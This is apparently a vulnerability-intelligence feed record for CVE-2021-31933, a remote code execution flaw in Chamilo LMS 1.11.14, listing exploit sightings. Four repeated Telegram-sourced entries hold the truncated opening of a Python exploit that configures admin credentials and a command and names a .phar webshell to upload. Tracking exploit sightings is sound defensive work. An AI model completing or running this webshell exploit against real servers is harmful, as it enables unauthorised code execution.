{"vulnerability": "CVE-2021-31933", "sightings": [{"uuid": "d6ef961d-9cd0-4bdf-b685-145b18a0639e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-31933", "type": "exploited", "source": "https://www.exploit-db.com/exploits/49867", "content": "", "creation_timestamp": "2021-05-14T00:00:00.000000Z"}, {"uuid": "3d770080-a630-457f-ac32-37f07ff70271", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-31933", "type": "seen", "source": "https://t.me/pwnwiki_zhchannel/425", "content": "CVE-2021-31933 Chamilo LMS 1.11.14 \u9060\u7a0b\u4ee3\u78bc\u57f7\u884c\u6f0f\u6d1e\nhttps://www.pwnwiki.org/index.php?title=CVE-2021-31933_Chamilo_LMS_1.11.14_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E", "creation_timestamp": "2021-05-15T00:46:44.000000Z"}, {"uuid": "ebf56887-5946-4a35-b348-0d793fab7c0d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-31933", "type": "seen", "source": "https://t.me/hacking_Attack/8662", "content": "Exploit Collector\nChamilo LMS 1.11.14 Remote Code Execution\n\nhttps://3.bp.blogspot.com/-IdvtX_t6dWw/WWlvCDhzudI/AAAAAAAAIKg/xbP9RqLektQzycUDwAlgxfpiSc2tZZpAwCLcBGAs/s1600/h126.png \nChamilo LMS version 1.11.14 authenticated remote code execution exploit.\n\nMD5 | 5a8f8f1545cefe375862b9f2c4609083\n\nDownload\n# Exploit Title: Chamilo LMS 1.11.14 - Remote Code Execution (Authenticated)\n# Date: 13/05/2021\n# Exploit Author: M. Cory Billington (@_th3y)\n# Vendor Homepage: https://chamilo.org\n# Software Link: https://github.com/chamilo/chamilo-lms\n# Version: 1.11.14\n# Tested on: Ubuntu 20.04.2 LTS\n# CVE: CVE-2021-31933\n# Writeup: https://theyhack.me/CVE-2021-31933-Chamilo-File-Upload-RCE/\n\nfrom requests import Session\nfrom random import choice\nfrom string import ascii_lowercase\n\nimport requests\n\n# This is all configuration stuff, \nurl = \"http://127.0.0.1/chamilo-lms/\"  # URL to remote host web root\nuser_name = \"admin\"  # User must be an administrator\npassword = \"admin\"\ncommand = \"id;whoami\"\n\n# Where you want to upload your webshell. Must be writable by web server user.\n# This spot isn't protectec by .htaccess\nwebshell_path = 'web/' \nwebshell_name = f\"shell-{''.join(choice(ascii_lowercase) for _ in range(6))}.phar\" # Just a random name for webshell file\ncontent = f\"", "creation_timestamp": "2026-09-01T20:02:41.611886Z"}, {"uuid": "ff8f21bc-120e-48a5-a73f-16a44ce2cc40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-31933", "type": "seen", "source": "https://t.me/hacking_Attack/8662", "content": "Exploit Collector\nChamilo LMS 1.11.14 Remote Code Execution\n\nhttps://3.bp.blogspot.com/-IdvtX_t6dWw/WWlvCDhzudI/AAAAAAAAIKg/xbP9RqLektQzycUDwAlgxfpiSc2tZZpAwCLcBGAs/s1600/h126.png \nChamilo LMS version 1.11.14 authenticated remote code execution exploit.\n\nMD5 | 5a8f8f1545cefe375862b9f2c4609083\n\nDownload\n# Exploit Title: Chamilo LMS 1.11.14 - Remote Code Execution (Authenticated)\n# Date: 13/05/2021\n# Exploit Author: M. Cory Billington (@_th3y)\n# Vendor Homepage: https://chamilo.org\n# Software Link: https://github.com/chamilo/chamilo-lms\n# Version: 1.11.14\n# Tested on: Ubuntu 20.04.2 LTS\n# CVE: CVE-2021-31933\n# Writeup: https://theyhack.me/CVE-2021-31933-Chamilo-File-Upload-RCE/\n\nfrom requests import Session\nfrom random import choice\nfrom string import ascii_lowercase\n\nimport requests\n\n# This is all configuration stuff, \nurl = \"http://127.0.0.1/chamilo-lms/\"  # URL to remote host web root\nuser_name = \"admin\"  # User must be an administrator\npassword = \"admin\"\ncommand = \"id;whoami\"\n\n# Where you want to upload your webshell. Must be writable by web server user.\n# This spot isn't protectec by .htaccess\nwebshell_path = 'web/' \nwebshell_name = f\"shell-{''.join(choice(ascii_lowercase) for _ in range(6))}.phar\" # Just a random name for webshell file\ncontent = f\"", "creation_timestamp": "2026-09-02T01:03:18.196965Z"}, {"uuid": "d10cd5aa-0ee7-417b-ac7b-0c8b7de1bc6c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-31933", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/8662", "content": "Exploit Collector\nChamilo LMS 1.11.14 Remote Code Execution\n\nhttps://3.bp.blogspot.com/-IdvtX_t6dWw/WWlvCDhzudI/AAAAAAAAIKg/xbP9RqLektQzycUDwAlgxfpiSc2tZZpAwCLcBGAs/s1600/h126.png \nChamilo LMS version 1.11.14 authenticated remote code execution exploit.\n\nMD5 | 5a8f8f1545cefe375862b9f2c4609083\n\nDownload\n# Exploit Title: Chamilo LMS 1.11.14 - Remote Code Execution (Authenticated)\n# Date: 13/05/2021\n# Exploit Author: M. Cory Billington (@_th3y)\n# Vendor Homepage: https://chamilo.org\n# Software Link: https://github.com/chamilo/chamilo-lms\n# Version: 1.11.14\n# Tested on: Ubuntu 20.04.2 LTS\n# CVE: CVE-2021-31933\n# Writeup: https://theyhack.me/CVE-2021-31933-Chamilo-File-Upload-RCE/\n\nfrom requests import Session\nfrom random import choice\nfrom string import ascii_lowercase\n\nimport requests\n\n# This is all configuration stuff, \nurl = \"http://127.0.0.1/chamilo-lms/\"  # URL to remote host web root\nuser_name = \"admin\"  # User must be an administrator\npassword = \"admin\"\ncommand = \"id;whoami\"\n\n# Where you want to upload your webshell. Must be writable by web server user.\n# This spot isn't protectec by .htaccess\nwebshell_path = 'web/' \nwebshell_name = f\"shell-{''.join(choice(ascii_lowercase) for _ in range(6))}.phar\" # Just a random name for webshell file\ncontent = f\"", "creation_timestamp": "2026-09-08T06:00:04.708643Z"}, {"uuid": "601ad7a7-b542-4f70-952d-f18361d559a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-31933", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/8662", "content": "Exploit Collector\nChamilo LMS 1.11.14 Remote Code Execution\n\nhttps://3.bp.blogspot.com/-IdvtX_t6dWw/WWlvCDhzudI/AAAAAAAAIKg/xbP9RqLektQzycUDwAlgxfpiSc2tZZpAwCLcBGAs/s1600/h126.png \nChamilo LMS version 1.11.14 authenticated remote code execution exploit.\n\nMD5 | 5a8f8f1545cefe375862b9f2c4609083\n\nDownload\n# Exploit Title: Chamilo LMS 1.11.14 - Remote Code Execution (Authenticated)\n# Date: 13/05/2021\n# Exploit Author: M. Cory Billington (@_th3y)\n# Vendor Homepage: https://chamilo.org\n# Software Link: https://github.com/chamilo/chamilo-lms\n# Version: 1.11.14\n# Tested on: Ubuntu 20.04.2 LTS\n# CVE: CVE-2021-31933\n# Writeup: https://theyhack.me/CVE-2021-31933-Chamilo-File-Upload-RCE/\n\nfrom requests import Session\nfrom random import choice\nfrom string import ascii_lowercase\n\nimport requests\n\n# This is all configuration stuff, \nurl = \"http://127.0.0.1/chamilo-lms/\"  # URL to remote host web root\nuser_name = \"admin\"  # User must be an administrator\npassword = \"admin\"\ncommand = \"id;whoami\"\n\n# Where you want to upload your webshell. Must be writable by web server user.\n# This spot isn't protectec by .htaccess\nwebshell_path = 'web/' \nwebshell_name = f\"shell-{''.join(choice(ascii_lowercase) for _ in range(6))}.phar\" # Just a random name for webshell file\ncontent = f\"", "creation_timestamp": "2026-09-09T00:00:39.632130Z"}]}